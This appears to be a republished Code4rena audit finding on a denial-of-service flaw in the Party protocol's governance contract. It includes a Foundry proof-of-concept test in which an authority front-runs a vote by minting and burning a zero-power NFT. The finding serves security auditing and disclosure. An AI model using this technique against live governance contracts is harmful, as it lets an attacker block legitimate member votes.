Light ModeLight
Light ModeDark

One Bug Per Day

One H/M every day from top Wardens

Checkmark

Join over 1110 wardens!

Checkmark

Receive the email at any hour!

Ad

Burning an NFT can be used to block voting

mediumCode4rena

Lines of code

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L596-L598

Vulnerability details

Impact

A new validation in the accept() function has been introduced in order to mitigate a potential attack to the party governance.

By burning an NFT, a party member can reduce the total voting power of the party just before creating a proposal and voting for it. Since the snapshot used to vote is previous to this action, this means the user can still use their burned voting power while voting in a proposal with a reduced total voting power. This is stated in the comment attached to the new validation:

https://github.com/code-423n4/2023-05-party/blob/main/contracts/party/PartyGovernance.sol#L589-L598

solidity
589: // Prevent voting in the same block as the last burn timestamp. 590: // This is to prevent an exploit where a member can burn their card to 591: // reduce the total voting power of the party, then propose and vote in 592: // the same block since `getVotingPowerAt()` uses `values.proposedTime - 1`. 593: // This would allow them to use the voting power snapshot just before 594: // their card was burned to vote, potentially passing a proposal that 595: // would have otherwise not passed. 596: if (lastBurnTimestamp == block.timestamp) { 597: revert CannotRageQuitAndAcceptError(); 598: }

This change can be abused by a bad actor in order to DoS the voting of a proposal. The call to accept() can be front-runned with a call to burn() that would trigger the revert in the original transaction.

While this is technically possible, it is not likely that a party member would burn their NFT just to DoS a voting for a single block. However, it might be possible to mint an NFT with zero voting power (in order to keep the voting power unaltered) and burn it in order to block calls to accept().

Proof of concept

The following test reproduces the issue. Bob's transaction to accept() is front-runned and blocked by minting a zero voting power NFT and immediately burning it.

Note: the snippet shows only the relevant code for the test. Full test file can be found here.

solidity
function test_PartyGovernanceNFT_BlockVoting() external { address alice = makeAddr("alice"); address bob = makeAddr("bob"); address authority = makeAddr("authority"); (Party party, , ) = partyAdmin.createParty( partyImpl, PartyAdmin.PartyCreationMinimalOptions({ host1: address(this), host2: address(0), passThresholdBps: 5100, totalVotingPower: 100, preciousTokenAddress: address(toadz), preciousTokenId: 1, rageQuitTimestamp: 0, feeBps: 0, feeRecipient: payable(0) }) ); vm.prank(address(party)); party.addAuthority(authority); // Mint voting power to alice and bob vm.startPrank(address(partyAdmin)); uint256 aliceToken = party.mint(alice, 50, alice); uint256 bobTokenId = party.mint(bob, 50, bob); vm.stopPrank(); // Alice creates proposal vm.startPrank(alice); uint256 proposalId = party.propose( PartyGovernance.Proposal({ maxExecutableTime: uint40(type(uint40).max), cancelDelay: uint40(1 days), proposalData: abi.encode(0) }), 0 ); vm.stopPrank(); // Bob is going to vote for proposal but is front-runned by authority to block voting // Authority mints a 0 voting token and burns it vm.prank(authority); uint256 dummyTokenId = party.mint(authority, 0, authority); vm.prank(authority); party.burn(dummyTokenId); // Bob transaction reverts vm.expectRevert(PartyGovernance.CannotRageQuitAndAcceptError.selector); vm.prank(bob); party.accept(proposalId, 0); }

Recommendation

It is difficult to provide a solution without changing how voting works at the general level in the governance contracts. The issue can be partially mitigated by moving the check to the proposal() function. This would prevent the DoS on the accept() function while still mitigating the original issue, but would allow the same attack to be performed while members try to create proposals.

Assessed type

DoS